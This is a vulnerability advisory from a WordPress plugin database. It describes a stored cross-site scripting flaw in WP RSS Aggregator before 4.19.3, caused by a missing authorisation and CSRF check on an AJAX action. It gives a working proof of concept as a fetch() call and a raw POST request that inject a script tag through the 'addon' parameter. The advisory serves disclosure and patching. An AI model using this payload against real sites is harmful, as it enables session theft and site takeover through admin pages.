WordPress Plugin Vulnerabilities

WP RSS Aggregator < 4.19.3 - Subscriber+ Stored Cross-Site Scripting

Description

The plugin does not sanitise and escape data before outputting it in the System Info admin dashboard, which could lead to a Stored XSS issue due to the wprss_dismiss_addon_notice AJAX action missing authorisation and CSRF checks, allowing any authenticated users, such as subscriber to call it and set a malicious payload in the addon parameter.

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php?action=wprss_dismiss_addon_notice", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": "addon=</textarea><script>alert(/XSS/);</script>&notice=b",
  "method": "POST",
  "credentials": "include"
});

POST /wp-admin/admin-ajax.php?action=wprss_dismiss_addon_notice HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 56
Connection: close
Cookie: [any authenticated user]

addon=</textarea><script>alert(/XSS/);</script>&notice=b

The XSS will be trigger at https://example.com/wp-admin/admin.php?page=wpra_tools

Affects Plugins

Fixed in 4.19.3

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2021-11-29 (about 2 years ago)
Added
2021-11-29 (about 2 years ago)
Last Updated
2022-04-10 (about 2 years ago)

Other